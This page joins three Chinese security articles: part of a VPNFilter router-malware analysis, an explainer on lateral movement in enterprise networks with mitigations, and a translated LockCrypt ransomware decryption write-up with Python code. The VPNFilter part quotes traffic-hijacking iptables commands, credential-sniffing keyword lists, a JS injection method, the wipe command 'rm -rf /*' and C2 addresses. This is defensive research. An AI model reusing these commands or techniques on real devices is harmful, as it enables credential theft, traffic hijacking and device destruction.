控制命令的请求有两种方式，一种是通过socks5代理方式，一种是通过Tor网络请求。通过socks5代理请求的C&C地址如下(在新版本中91.121.109.209被移除)：
91.121.109.209
217.12.202.40
94.242.222.68
通过Tor网络请求的地址如下（在新版本中”zuh3vcyskd4gipkm.onion/bin32/update.php”被移除）：
6b57dcnonk2edf5a.onion/bin32/update.php
zuh3vcyskd4gipkm.onion/bin32/update.php
tljmmy4vmkqbdof4.onion/bin32/update.php
这两种方式的请求都是通过ssl协议进行的。请求完成后，恶意代码解析相应数据并且提取出控制命令和控制参数信息。其实现的远程控制命令和控制参数信息如下：
从该后门实现的远程控制功能我们可以推测该黑客的动机：
(1)和其他后门一样，黑客希望能够通过远程shell命令对设备进行完全的控制。
(2)黑客可以在一定时机对这些设备进行破坏性操作，使其无法再次使用。
(3)为了隐藏其可疑的控制流量，采用socks5和Tor逃避IDS监测。
(4)可以灵活的配置其在Tor网络中的C&C服务器以及代理服务器
(5)能提供扩展模块的下载与执行的操作。
(6)可灵活配置连接C&C的频率，提高其活动的隐蔽性。
此外，该阶段的最新恶意代码有较大的变化，不仅对代码做了优化、去除了日志信息，还改变了部分控制命令的功能，比如kill命令用于结束进程及清理其下载的插件，新增加了update命令和restart命令。不言而喻，update命令用于更新样本，restart命令用于重启样本执行。同时移除了seturl、proxy命令。
##### 第三阶段：扩展组件
第三阶段目前已经发现大量的组件，其中包含一个为MIPS平台的流量嗅探器、一个用于破坏设备的dstr模块、一个用于进行广泛HTTP流量嗅探和监控的ssler模块，还有一些辅助性模块如：Tor
client、mikrotik.o、torrc、ip_tables.ko、iptable_filter.ko、iptable_nat.ko等。辅助性模块如Tor客户端用于支持第二阶段的Tor网络通信。Tor工程提示：
由于其为标准的Tor客户端，不具备恶意功能，因此我们仅仅分析核心的三个模块。
1、MIPS平台的TCP流量嗅探模块
该模块为MIPS平台，其主要通过从原始数据包中过滤出TCP/IP数据包，并且通过对TCP的payload数据进行过滤，检索其中的敏感信息存储起来。
该流量嗅探模块通过第二阶段恶意代码远程下载并启动执行，其启动运行参数如下：
{模块名} DstDir Unkownagr ModbusServer
其中第一个参数为嗅探数据的存放路径，第二个参数未使用，第三个参数为modbus server的IP地址。
该模块启动后并没有做过多额外的工作，初始化环境后直接调用流量截取函数进行流量嗅探。
同样二进制程序中不带任何符号文件，函数由我们分析完后进行了重命名。该函数主要创建一个原始socket并且接收当前设备所通过的原始数据流。
接下来恶意代码会根据TCP/IP头部格式识别出TCP数据包以进行进一步的处理。
首先该模块只关心数据包长度大于0x96个字节的原始流数据，也就是说除去TCP/IP协议头部的长度的0x36个字节，该模块仅仅监视大于0x60个字节的TCP
payload数据。
对于TCP payload数据大于0x60个字节的数据包，该模块会解析IP、TCP协议，并且通过目的端口502判定当前流量数据是否是工控的modbus
TCP协议包，如果是，且当前数据包的目的IP为运行参数中指定的IP地址，该模块便会将该数据包中的源IP、目的IP、源端口、目的端口记录下来。
其中记录的信息格式如下：
_modbus_
源IP:源端口->目的IP:目的端口(如：192.168.1.5:2243->192.168.1.3:503)
该信息记录在文件`%workdir%/rep_[time].bin`。
如果当前协议不是modbus协议，该模块会根据已有的规则进行过滤，找出其关心的两类数据：一种为携带有验证信息HTTP数据包，一种是携带有登录信息的HTTP请求数据。其中提取验证数据的关键字为"Authorization:
Basic”，一旦找到该信息，该模块会将当前嗅探到的数据包直接记录到文件`%workdir%/rep_[%time%].bin`中。
提取登录信息的关键字如下：
用户名关键字："User="、"user="、"Name="、"name="、"Usr="、"usr="、"Login="、"login="
登录密码关键字："Pass="、"pass="、"Password="、"password="、"Passwd="、"passwd="
此外要说明的是，数据包中只要满足如下条件，该模块便会丢弃：
(1)数据包的目的IP为模块运行参数所指定的IP。
(2)数据包的源端口小于1024。
(3)数据包的源端口为8080/8088。
(4)TCP payload数据长度小于0x14。
(5)TCP Payload数据包中包含有`"<?xml"、">"、"Basic Og=="、"/tmUnblock.cgi"、"Password
required"、"<div”、"<form"、"<input"、"{"、"}"、"200 OK"、".get"、"<span "、"<SPAN
"、"<DIV "`等。
2、ssler HTTP嗅探与监控模块
该模块主要针对HTTP层实施更加丰富和强大的处理，其提供有HTTP流量重定向、HTTP流量监控与截取、流量劫持与篡改、定向注入JS以进行精准攻击等功能。其由第二阶段的恶意模块启动运行，运行参数说明如下：
首先该模块会使用insmod命令安装三个iptable相关的内核模块 (ip_tables.ko、iptable_filter.ko、
iptable_nat.ko)，通过这三个模块，恶意代码可以将自己的规则配置到iptable中去 。
接下来执行如下命令将所有80端口的流量重定向到其所监听的8888端口上：
iptables -I INPUT -p tcp --dport 8888 -j ACCEPT
iptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8888
为了保证该规则不会被删除，该模块会每隔5分钟更新一次该规则。
该模块会关注所有80端口上的数据，包括流向服务器端和流向客户端的数据。在处理流向服务器端的数据时，为了最大化的监控到敏感数据，其会对HTTP请求的数据进行一定篡改。在处理流向客户端的响应数据时，同样会对数据进行篡改并且根据启动参数的指定来对特定目标实施精准的JS注入，入侵到具体客户端主机上，也可以是内网的办公主机上。
（1）对请求数据的处理
首先，该模块为了能够最大限度的监控到流量，其会将所有请求数据的`"https://"`篡改为`"http://"`。为了确保HTTP传输的数据都为可处理数据，会修改”Accept-Encoding”的值，以及修改Connection的方式，具体处理方式如下：
i.将请求数据中的所有https篡改为http，以方便监控并窃取敏感信息，如登录凭证等。
ii.如果HTTP请求中包含有”Connection: keep-alive”，将会被替换为”Connection: close”。
iii.如果HTTP请求中,HTTP头中包含有gzip值的”Accept-Encoding”头部域(排除url为jpg、jpeg、png、gif、css、js、ttf、woff文件)，其将会转化为”Accept-Encoding:
plaintext/none”，这样请求得到的数据便不会被服务器端压缩。
随后，该组件可对截取的流量进行过滤并将相关数据保存到设备中。首先如果`“dump:domain”`参数被指定，http请求的url、port、http
header都会保存在指定的文件中。如果在dump参数中没有指定具体值(domain字符串为空)或者dump参数没有指定时，其会dump包含有特定信息http请求信息。其通过URL来判定当前请求是否是其关心的请求，如果URL中包含有关键字：
“sername=”、“ser=”、“ame=”、“ogin=”、“ail=”、“hone=”、“session%5Busername”、“session%5Bpassword”、“session[password”
便会dump请求的头部信息到指定的文件中。
另外，对accounts.google.com发送的POST请求，只要其中包含有字符串“signin”,都会被dump下来。
（2）对响应信息的处理
所有HTTP请求得到的响应数据都会被处理，其处理方式如下：
i.响应信息中Location的值如果是`“https://”`，则被替换为`http://`。
ii.如果响应头部中包含有Alt-Scv、Vary、Content-MD5、content-security-policy、X-FB-Debug、public-key-pins-report-only、Access-Control-Allow-Origin，便会被阻断，也就是说，请求方无法得到响应。
iii.Dump所有请求包的数据到本地，其中包含`https://`和`http://`。
iv.如果参数`“site:domain”`指定了域名关键字或者域名的一部分，其会将一段javascript脚本注入到所有包含有的`“Content-Type: text/html”` 或者`“Content-Type:
text/javascript”`响应数据的msgbody中。其注入方法：首先响应的msgbody数据中必须包含字符串`“<meta name= …
>”`并且长度必须大于参数`“hook:”`所指定的字符串长度。如果满足条件，字符串`“<meta name= … >”`将会被替换成为`“<script
type="text/javascript" src="[hook
value]">”`，当前受害者IP及其访问的网站域名将会加入到内部的一个白名单中，以防止重复注入，白名单每4天会被清空一次。
在响应数据中，恶意模块会提取每个链接中的域名，并且将其加入到截取列表中，这个截取列表中所有的https和http请求都会按照“（1）对请求数据的处理”的方式进行处理。默认情况下包含有
www.google.com、 twitter.com、 www.facebook.com、www.youtube.com。
3、 设备破坏模块（Destroy module）
由于老版本的第二阶段模块单纯的只是简单擦除设备mtdblock0的前5000个字节以破坏设备，有很大几率会失败，因此新版本的第二阶段模块将kill指令的破坏性功能取消，并采用插件模块的方式来实现。该插件模块不仅改进了破坏设备功能，而且还提供了痕迹清理的功能。其目的不仅让设备无法恢复，而且即便恢复了也无法取证获取恶意代码相关痕迹。
模块启动后首先删除自身文件，然后强制关闭所有包含"vpnfilter"、"security"、"tor"关键字的进程。
接下来清理掉所有痕迹文件，其中包含有证书文件、Tor客户端相关文件、版本信息文件等。
该模块还会遍历mtd分区，并强制擦除整个FLASH。
最后，其采用`“"rm -rf /*"”`强制递归删除文件系统上的所有文件，并重启设备。
#### 四、总结
通过分析我们可以看出，该恶意代码攻击手法隐秘高明，其不仅采用代理+Tor+SSL的方式以逃避网络流量的监测，而且还有多重策略用于确保核心组件(第二阶段恶意代码)的成功下发。首先采用了HTTP的方式将C&C存放于”direct”或者”location”字段中，如果这种方式被阻断则采用图片隐写技术将C&C存储于EXIF中，如果存储C&C的图片链接失效，其还在代码中留了一个”SYN”后门，通过”SYN隧道技术”来传输C&C。这种可以说是黑客采取的一种较为高明且非常保险的策略，为其行动在被发现甚至是被阻断后设置了多重保险，也便于在黑客发现被阻断后进行快速切换，极大地提高了其控制的持久性和灵活性。
我们还可以看到，迅猛发展的物联网设备也开始变成高级威胁组织的一类攻击向量，其试图通过这些设备来收集情报，包括登录凭证以及工控设施相关的重要信息，通过灵活的模块化架构，可根据相关情报对特定主机实施精准攻击或者对大量设备实施极具破坏性的攻击，其危害性非常之大。
建议厂商将检测规则（Talos已经公开了100多条snort规则）加入到流量检测设备中，如果支持原始流量检测，也可利用“SYN隧道技术”中的特征进行更加深度和精确的检测。一旦发现受感染设备，建议采用应急策略对设备进行处置（比如对设备进行断网并且复位恢复到出厂模式、更新最新固件），同时进一步检查内网主机是否有被攻击并请专业人士进行处理。
IOC: 第一阶段涉及的相关URL：
photobucket[.]com/user/nikkireed11/library
photobucket[.]com/user/kmila302/library
photobucket[.]com/user/lisabraun87/library
photobucket[.]com/user/eva_green1/library
photobucket[.]com/user/monicabelci4/library
photobucket[.]com/user/katyperry45/library
photobucket[.]com/user/saragray1/library
photobucket[.]com/user/millerfred/library
photobucket[.]com/user/jeniferaniston1/library
photobucket[.]com/user/amandaseyfried1/library
photobucket[.]com/user/suwe8/library
photobucket[.]com/user/bob7301/library
toknowall[.]com
第二阶段涉及的相关IP及链接：
91.121.109[.]209
217.12.202[.]40
94.242.222[.]68
82.118.242[.]124
46.151.209[.]33
217.79.179[.]14
91.214.203[.]144
95.211.198[.]231
195.154.180[.]60
5.149.250[.]54
91.200.13[.]76
94.185.80[.]82
62.210.180[.]229
62.210.180[.]229
91.200.13[.]76
23.111.177[.]114
6b57dcnonk2edf5a[.]onion/bin32/update.php
tljmmy4vmkqbdof4[.]onion/bin32/update.php
zuh3vcyskd4gipkm[.]onion/bin32/update.php
4seiwn2ur4f65zo4.onion/bin256/update.php
zm3lznxn27wtzkwa.onion/bin16/update.php
最新受感染的设备如下：
参考链接：
<https://blog[.]talosintelligence.com/2018/05/VPNFilter.html>
<https://blog.talosintelligence.com/2018/06/vpnfilter-update.html>
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
# 企业内网中的横向移动
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
横向移动，是攻击者侵入企业系统时，获取相关权限及重要数据的常见攻击手法。了解横向移动的原理有助于个人和企业更好地维护网络安全。
中安网星特此推出了横向移动科普系列，本系列共有三篇文章，我们会以简单轻松的话语为大家讲解横向移动的内容。
近年来，随着网络攻击、勒索事件频发，企业安全防护需求迅速上升，传统安全防护中以密码和权限管理为核心的单一防护模式愈发不能满足目前的网络安全环境。因而，深入了解攻击思路，“对症下药”，是目前网络安全行业发展的重要方向。
本篇文章将就“横向移动”这一典型攻击行为进行简单阐述，从攻击者视角还原“横向移动”攻击过程中的典型场景，为深入剖析“横向移动”攻击行为提供简单参考。
简单来讲，横向移动是指攻击者成功攻击一台计算机后，由该计算机横向跨越到另一台计算机，获取相关权限，进而窃取敏感信息的活动。
从定义上来看，我们不难发现，“横向移动”攻击的主要目标是企业关键信息及相关管理权限，而横向跨越的攻击属性也表明这一攻击行为多数情况下发生在企业内网中。
换个角度来讲，也正是由于企业内网中计算机存在聚集性，以及内网中一些集权管理设备储存有大量身份凭证信息及关键数据，使得企业内网更容易成为攻击者的目标，也就成为了横向移动的重灾区。
基于这样的前提，本篇文章将以“企业内网中的横向移动”攻击路径为例，尽量全面的展示“横向移动”攻击的思路与方法。
## 企业内网中的横向移动
假设一家企业将保存有所有计算机用户账号密码信息的文件存放在域控主机上，同时设置只有管理员才可以查看。
现在有一位经验丰富的黑客想要窃取该文件。
### Step 1 : 【信息收集】
首先黑客通过一系列攻击手段进入一台普通员工的计算机，但是这台计算机上只有该员工平时工作使用的PPT，文件等内容，没有高敏感信息。
此时他将收集域内信息，探查可能保存机密文件和敏感信息的主机位置，确定横向移动的目标。
分析后，黑客发现该企业采用的是AD域来管理内网计算机用户，根据经验得知，域控上存储有所有计算机用户的账号密码信息，于是他决定横向移动到域控主机。
### Step 2 ：【域控登录】
一般情况下，域控主机设置有高加密型的登录验证方式，如果黑客能够获得域控主机的登录密码，那么他就可以伪装成正常用户登录。
在采用kerberos登录验证的域环境中，正常用户登录时先输入密码在Kerberos服务器上进行验证，验证成功后，该服务器会发送给用户一个凭证证明其合法性，用户利用该凭证才可以登录计算机使用内网资源。
但一般情况下，域控主机的密码不会在普通主机上留下记录，也较难通过暴力破解的方式获取明文密码。
此时，黑客会在已控制的普通主机上查找与目标主机和环境相关的信息，获知目标主机开放的端口、存在的漏洞等，然后利用该漏洞渗透目标主机获取凭证，再使用哈希传递、黄金白银票据等方式进行登录。
尽管黑客完成了登录步骤，但是在最终的文件获取环节上，域控通常还有一道防线，即“权限限制”。
### Step 3 : 【权限获取】
这正是我们设置的第二层防护——对特定文件实行白名单制度，限制用户查看权限。
这种情况下，黑客通常会通过一些提权手法来突破限制，比如系统溢出漏洞提权、数据库提权、系统配置错误提权等，我们将这类手法统称为“权限提升”。
横向移动与权限提升同属攻击链的上下游位置。就攻击效果来说，前者主要体现在被控制计算机的数量，后者主要体现在对单个计算机控制的程度，一个作用于扩大作战区域，一个作用于收刮区域资源。
所以现在黑客离窃取我们的用户信息文件只差最后一步了——通过权限提升的方法来获取相应文件的查看权限。
最终，通过横向移动、登录突破、权限提升的过程，黑客完成了对关键信息与敏感数据的获取。除此以外，还能以域控主机为跳板，横向移动到其它域内主机，通过已获取的密码直接登录目标主机，执行远程命令，完成域内控制，进而以关键信息与权限为由，实施勒索行为。
### 结语
通过上文的攻击实例，我们展示了一个相对简单的“横向移动”攻击链路模型。
实际上，在横向移动攻击过程中，攻击者不仅可以运用相关技术与思路访问共享文件夹、凭证等敏感信息，也可以通过“横向移动”的方法渗透其它主机，窃取商业数据、财务信息等。正因如此，“横向移动”的技术与攻击思路被广泛应用于网络攻击，尤其是针对企业用户的APT（高级可持续性威胁）攻击中。
## 企业内网中的横向移动（二）
横向移动是在复杂的内网攻击中被广泛应用的一种方式，也是APT（高级可持续威胁）攻击的重要组成部分。横向移动主要在APT的后续攻击中发挥作用，用于窃取大量信息资产以及进行更深入的渗透。
除APT威胁事件以外，当前企业所面临的勒索问题和内部威胁也大多与〝横向移动〞有关。接下来我们将分别讨论横向移动是如何威胁密码安全、主机安全以及信息安全的：
### 横向移动威胁
**威胁密码安全**
黑客横向移动的过程可能导致密码失窃，从而威胁到计算机内文件数据的安全。
在企业办公网络中，大部分办公电脑都设置有密码、登录凭证，用以防止数据等相关私密文件被他人查看。这种情况下，黑客想要横向移动到加密主机，就要通过一些手段来获取密码，或窃取登录凭证。
与其他的攻击方式相同，“弱口令”是黑客获取密码最简单的一类途径。尤其是主机RDP相关的弱口令，这类系统远控桌面服务的弱口令一旦被黑客利用，就能通过“撞库”等方式暴力破解，进而实现内网计算机的远程控制。
而黑客窃取登陆凭证的方式主要包括：lsass内存读取、注册表读取、ntds
数据库读取等。在通过一系列手段窃取到登陆凭证后，黑客就能通过哈希传递、票据传递的方式登录目标主机。
以上两种方式作为黑客横向移动的初始步骤，被广泛应用于APT攻击及横向移动攻击相关的威胁事件中。
例如，在前不久的美国燃油管道勒索攻击事件中，darkside攻击团伙从文件、内存和域控制器中收集凭据，并利用这些凭据来登录其它主机，再对重要数据和控制端口进行加密，进而实施勒索。
由此可见，横向移动造成的密码失窃严重威胁到包括关键基础设施在内的多种网络设施安全。
**威胁主机安全**
黑客在横向移动中使用远程控制目标主机的方式，导致主机安全受到威胁。
由于Windows系统自带连接远程主机执行命令的功能。在黑客获得账号密码的情况下，可以通过IPC（进程间通信）连接目标主机，建立安全通道，在该通道传输加密数据。而Windows的计划任务功能也常被黑客利用来定时激活病毒木马，达到长期威胁内网主机的目的。
除了windows系统自带功能，黑客还经常使用一些工具来进行远程控制：
Psexec由于其强大的提权和远程命令执行能力，在横向移动中应用非常普遍。它不仅能以system权限来运行指定应用程序，还能在本机生成命令提示符窗口，只要输入命令，就能在远程主机上执行并返回结果。
Psexec被众多安全厂商加入查杀黑名单后，近几年，通过调用WMI来进行远程操作的工具也屡见不鲜。（WMI是一项Windows管理技术，通过它可以访问、配置、管理几乎所有计算机资源。）
相比于Psexec，使用WMI执行远程命令基本不会在远程主机上留下日志，让黑客的行为显得更隐蔽。调用WMI来进行横向移动的工具包括WMIEXEC.exe、WMIEXEC.vbs脚本、Invoke-Command.ps1脚本和Invoke-WMIMethod.ps1脚本。其中WMIEXEC.vbs脚本可以获取远程主机的半交互式Shell，执行单条命令并返回显示结果。（Shell为用户提供了可以访问操作系统内核服务的界面）
**威胁信息安全**
黑客进行横向移动攻击，会窃取和泄漏大量信息，直接威胁信息安全。
几乎所有针对企业进行攻击的事件都与信息窃取相关。一旦突破安全边界进入内网，黑客们就会使用各种手段横向移动渗透内网其它主机，尤其是敏感信息存放主机。
在勒索攻击事件中，最常见的勒索方式是：攻击者将信息加密后，以公开其机密数据的方式要挟赎金。
比如，著名的勒索攻击团伙海莲花，其常用手法是在内网中建立立足点后使用Cobalt Strike进行横向移动。通过Cobalt
Strike扫描内网中存在的各类漏洞和配置问题，利用扫描结果进一步控制其它主机。最终窃取包括商业机密、机密谈话日志和进度计划等在内的各种资料，严重威胁制造、媒体、银行、酒店和基础设施的网络安全。
### 横向移动威胁的特点
由上，我们可以总结出横向移动威胁的特点，即威胁面大，威胁性强。
**如何理解威胁面大？**
从目标对象来说，横向移动威胁的不是某一台主机，而是多台主机，甚至整个内网。从黑客目的来说，黑客要利用他掌握的信息威胁企业，必须掌握到关键且大量的数据，就要通过横向移动不断扩大资产范围。
**如何理解威胁性强？**
黑客为了造成更大影响，通常选择重要的信息系统，如金融、电信、交通、能源等计算机系统，利用横向移动进行大面积网络攻击，导致系统瘫痪，严重影响基本的社会生活。如前文提到的美国燃油管道勒索攻击事件，和爱尔兰医疗服务机构遭受Conti勒索软件攻击事件，还有加拿大保险公司guard.me遭受网络攻击事件……
另外，横向移动造成的影响让企业在后续恢复中也面临较大的困难。企业需要消耗许多人力财力对本次攻击溯源，找到并修补内网存在的漏洞，还需要耗费大量时间精力还原被黑客破坏的文件等资源，重新启动业务系统。
## 企业内网中的横向移动（三）
黑客横向移动的手段已经非常成熟。除了病毒中的自动化横向移动模块，目前也已经有许多横向移动的工具被广泛使用。
因此，对横向移动的防护是目前内网安全防护中的重中之重。其核心目标是，即使黑客进入企业内网，也能通过一系列防护手段阻止他渗透到更多主机，为相关权限及关键数据提供安全防护。
我们可以得知，攻击者在横向移动过程中，其最终目的是登陆目标主机并窃取机密数据。
因此我们必须采取多种防护措施，以防止攻击者窃取密码或进行凭证传递。除此之外，还可利用监控手段来探查攻击者的踪迹，并增加系统配置以提高域内安全性。
接下来将会详细介绍以上所述:
### 一、防止攻击者窃取密码
在使用WDigest（摘要式身份验证）的系统中，密码会以明文形式存储在内存，攻击者通过Mimikatz可以直接抓取密码。为了防止密码泄露，我们可以关闭WDigest。
但该功能只有在Windows Server 2012以上版本的系统才能被关闭，而在Windows Server
2012以下版本的系统中只能通过安装补丁KB2871997来解决问题。
KB2871997支持RDP
网络登录，即在登录过程中使用登录令牌来进行身份验证。这种方法不会在RDP服务器中存储用户凭证，用户注销时，也会清除主机缓存中的凭证，以此来保护凭证安全。
同时，KB2871997支持创建“受保护的用户”组。只要把域功能级别设置为Windows Server 2012
R2，系统就会创建受保护的组，在该组中的用户只能使用Kerberos协议进行身份验证。相比于WDigest，Kerberos验证方式更安全，因为它不会在内存中存储明文密码。
想要防止密码被盗的话，除了安装补丁，我们还需要对攻击者常用的工具进行防范，比如Mimikatz。
由于Mimikatz与内存（LSASS进程）交互需要Debug权限，我们可以将拥有Debug权限的本地管理员从Administrators组中移出。这样，当攻击者以本地管理员身份登录时，就没有权限使用Mimikatz从内存导出密码。
### 二、防护哈希传递攻击
通过以上手段，我们能有效防止黑客从系统中窃取明文密码，但是当黑客窃取到了用户凭据，使用哈希传递等手段登录系统时，并没有一个能彻底解决哈希传递的方法，我们只能减轻这种攻击。
这里介绍两种方法——Defender ATP和微软管理层模型。
Defender ATP :
是微软提供的一种安全工具，它能检测攻击者访问LSASS进程的行为。如果发现某时刻LSASS进程被读取的内存数量过多，就会报警，提示管理员“敏感凭据内存读取”。
微软管理层模型 :
将不同权限的用户划分到不同层级，并规定高层级不能登录低层级。举例来说，将能够访问网络上所有关键服务器的管理员划分为第0级，将工作站管理员划分为第2级，那么即使黑客窃取到了关键服务器管理员的凭证，以管理员身份也无法登录关键服务器。
### 三、监控异常活动
攻击者横向移动过程通常难以被察觉，但我们可以分析其行为特征，监控是否有存在满足其特征的活动来确定系统是否被入侵。
对于在目标范围内安装恶意软件的横向攻击行为，我们可以监控应用安装情况。例如当安装应用的时间固定在一个时间段，而其它时间段的安装行为都将被认为是异常的。
攻击者进行横向移动攻击的另一个典型行为就是窃取信息。通过监控文件创建行为和SMB传输文件行为，可以发现远程文件复制活动；通过监控可移动介质上的文件访问，能识别可移动介质复制行为；通过监控多文件写入共享能发现共享文件污染行为等。
如果攻击者已进入内网，为了防止他横向移动到更多主机，我们可以监测内网中活跃的用户账号，将这些账户设置为高风险账户，降低其权限，阻止其使用内网资源。
监控内网中的异常活动，能帮助我们发现攻击者侵入企业内网的行为，以便及时采取措施阻止其损害企业利益。
### 四、更改系统配置
给系统配置防火墙是防范一般网络攻击的重要手段，对横向移动攻击也能起到一定的作用。比如，通过配置防火墙的进站/出站规则阻止445端口的连接，能防范利用SMB协议漏洞的攻击；启用防火墙禁止RDP流量能防止RDP远程连接系统；启动域防火墙能阻止DCOM对象实例化。
此外，我们也可以通过配置Windows系统规则来防范横向移动攻击。
当攻击者利用Windows打印机后台处理程序来执行特权操作时，我们可以禁用“允许打印后台处理程序接收客户端连接”，也可以直接禁用打印后台处理程序服务。
当系统遭受NTLM中继攻击时，我们可以禁用NTLM并切换成Kerberos验证，或启用SMB签名和LDAP签名等。（NTLM中继攻击：攻击者劫持受害者会话，将受害者凭证转发到其它服务器获取信任）
正确配置系统规则，不仅能防范横向移动攻击，还能保护系统资源的合法使用。
攻击者进行横向移动的手法多种多样，以上方法并不能完全防范横向移动攻击。要有效阻止横向移动，需要分析具体事件来制定有针对性的防护措施。
尤其是在企业等组织机构中，由于内网的复杂性，攻击团伙的手段也比较高超，一般的防护手段不能有效地防范横向移动攻击，要保护企业内网安全，最好选择专业的运营团队。 | 社区文章 |
本文翻译自：<https://researchcenter.paloaltonetworks.com/2018/07/unit42-decrypting-lockcrypt-ransomware/>
* * *
LockCrypt，也叫EncryptServer2018，是2017年中发现的勒索软件家族，至今仍然活跃。网络上没有公开的LockCrypt的解密方法。恶意软件的变种已经使用了更强的加密方法，本文对旧版恶意软件的解密进行分析。
# 初始分析
研究人员发现恶意软件作者用一些看起来弱加密的定制加密方法来加密文件，这让研究人员很惊讶，在2018年居然遇到了勒索软件使用定制的加密模型，如果使用Windows
API来加密数据的方式，那么以现在的硬件进行解密可能需要几十亿年。
对加密函数的分解与下面的python代码是等价的：
def grouper(iterable, n, fillvalue=None):
"""returns a generator which iterates iterable in groups of size n.
in case the last group is incomplete, it is padded with fillvalue"""
args = [iter(iterable)] * n
return itertools.izip_longest(fillvalue=fillvalue, *args)
def rol(val, n, width):
"""equivalent to the x86 rol opcode"""
return (val << n) & ((1<<width)-1) | \
((val & ((1<<width)-1)) >> (width-n))
def encrypt(key, plain):
size = len(plain)-2
enc = io.BytesIO(plain)
# phase 1
key_cyclic = grouper(itertools.cycle(key), 4)
for _ in xrange(0, size&(~0x3), 2): # align the size of the data to a multiple of 4 bytes
# get the next key dword
k = "".join(key_cyclic.next())
k = struct.unpack("<I", k)[0]
# get the next data dword
d = enc.read(4)
d = struct.unpack("<I", d)[0]
# XOR them and put it back to the data
e = k^d
e = struct.pack("<I", e)
enc.seek(-4, os.SEEK_CUR)
enc.write(e)
# go back 2 bytes in the data stream (so that loop iterations overlap)
enc.seek(-2, os.SEEK_CUR)
# phase 2
enc.seek(0, os.SEEK_SET)
key_cyclic = grouper(itertools.cycle(key), 4)
for i in xrange(0, size&(~0x3), 4):
# get the next key dword
k = "".join(key_cyclic.next())
k = struct.unpack("<I", k)[0]
# get the next data dword
d = enc.read(4)
d = struct.unpack("<I", d)[0]
# rotate the data dword
e = rol(d, 5, 32)
# XOR it with the key dword
e = e^k
# swap the byte order
e = struct.pack(">I", e)
# put the data dword back
enc.seek(-4, os.SEEK_CUR)
enc.write(e)
return enc.getvalue()
def encrypt_file(key, file):
# len(key) == 25000
# leave the first 4 bytes as-is
file.seek(4, os.SEEK_SET)
# encrypt the rest of the first 1MB of the file
plain_data = file.read(0x100000 - 4)
enc_data = encrypt(key, plain_data)
file.seek(4, os.SEEK_SET)
file.write(enc_data)
# leave the rest of the file as is
下面的结论是等价的：
1. phase 1定义的转化是一个长度为12500字节的循环；
2. phase 2定义的转化是一个长度为25000字节的循环；
3. 除了边缘情况，每个明文位要与3个密钥位进行XOR运算；
4. 如果在phase 2对位移操作undo（撤销），phase 1和2都可以描述为用长度为25000字节的循环密钥进行的流加密。
最后2个结论可以通过下面的转化图进行说明，⊕表示进行XOR操作。
在转化之前，4:8字节的位是这样的：
Phase 1的第2轮循环之后：
Phase 1的第3轮循环之后：
Phase 1的第4轮循环之后（与整个phase 1的循环相同）：
Phase 2的第2轮循环进行ROL（循环左移）操作之后：
Phase 2的第2轮循环进行XOR操作之后：
字节的顺序交换完成，这也就是这些字节的加密过程。
# 恢复stream key
如果从上图中拿到加密后的4:8字节，对交换顺序进行逆操作，ROR（循环左移）5位，就得到：
上面的操作是将加密进行标准化，变成一个典型的流加密。如果再对这些字节用已知的明文字节进行XOR运算，就得到结论4中提到的密钥位的功能：
该流被称之为stream
key（流密钥），而流中的每一位都是对原始密钥的位进行了三次XOR运算。因为是一个长为25000字节的循环，因此要恢复并解密加密的文件，需要25000字节的明文和加密字节。
下面的python函数可以用给定的明文和加密的数据对恢复stream
key。索引参数指定了给定字符串（减去4，因为前4个字节是不加密的）中的25000已知明文字节的索引，比如只会用到明文字符串的字节idx+4:idx+4+25000。
key_len = 25000
def ror(val, n, width):
return ((val & ((1<<width)-1)) >> n) | \
(val << (width-n) & ((1<<width)-1))
def recover_stream_key(plain, enc, idx):
assert len(plain) == len(enc)
assert len(plain) >= 4 + idx + key_len
plain = io.BytesIO(plain)
enc = io.BytesIO(enc)
assert plain.read(4) == enc.read(4)
plain.seek(idx & (~3), os.SEEK_CUR)
enc.seek(idx & (~3), os.SEEK_CUR)
stream_key = io.BytesIO()
for i in xrange(0, key_len + (idx % 4), 4):
# read the next plain dword
p = plain.read(4)
p = struct.unpack("<I", p)[0]
# read the next encrypted dword and undo the bit shifts on it
e = enc.read(4)
# unswap the byte order
e = struct.unpack(">I", e)[0]
# ROR back 5 bits
e = ror(e, 5, 32)
# XOR the plain and normalized encrypted dwords
k = p^e
k = struct.pack("<I", k)
# write the stream key dword to the recovered stream key stream
if i == 0:
stream_key.write(k[idx % 4:])
elif i < key_len:
stream_key.write(k)
else: # i == key_len
stream_key.write(k[:-idx % 4])
stream_key = stream_key.getvalue()
assert len(stream_key) == key_len
return stream_key
然后用下面的函数来解密文件：
def decrypt(stream_key, enc):
size = len(enc) - 2
plain = io.BytesIO(enc)
stream_key_cyclic = grouper(itertools.cycle(stream_key), 4)
for i in xrange(0, size&(~3), 4):
# read the next stream key dword
sk = "".join(stream_key_cyclic.next())
sk = struct.unpack("<I", sk)[0]
# read the next encrypted dword and undo the bit shifts on it
e = plain.read(4)
# unswap the byte order
e = struct.unpack(">I", e)[0]
# ROR back 5 bits
e = ror(e, 5, 32)
# XOR the normalized encrypted dword with the stream key dword to recover
# the plain dword
p = e^sk
p = struct.pack("<I", p)
plain.seek(-4, os.SEEK_CUR)
plain.write(p)
return plain.getvalue()
def decrypt_file(stream_key, file):
assert len(stream_key) == key_len
# leave the first 4 bytes as-is
file.seek(4, os.SEEK_SET)
# decrypt the rest of the first 1MB of the file
enc_data = file.read(0x100000 - 4)
plain_data = decrypt(stream_key, enc_data)
file.seek(4, os.SEEK_SET)
file.write(plain_data)
# leave the rest of the file as is
前2个加密字节（原始文件的字节4:6）只与2个key位进行XOR运算，因此：
* 为了解密余下的字节，必须使用idx>=2的stream key
* 为了解密前2个字节，必须使用idx=0的stream key
如果原始文件的长度!= 2 (mod 4)，那么在encrypt()函数中明文的长度len(plain) != 0 (mod 4)，因此在phase
1的最后一个循环中只对文件结尾的1-2个字节进行解密。这些字节的明文位只与1 key位进行XOR运算，因为还不能解密。
如果已知文件的长度n>=m，就可以解密长为m的文件。
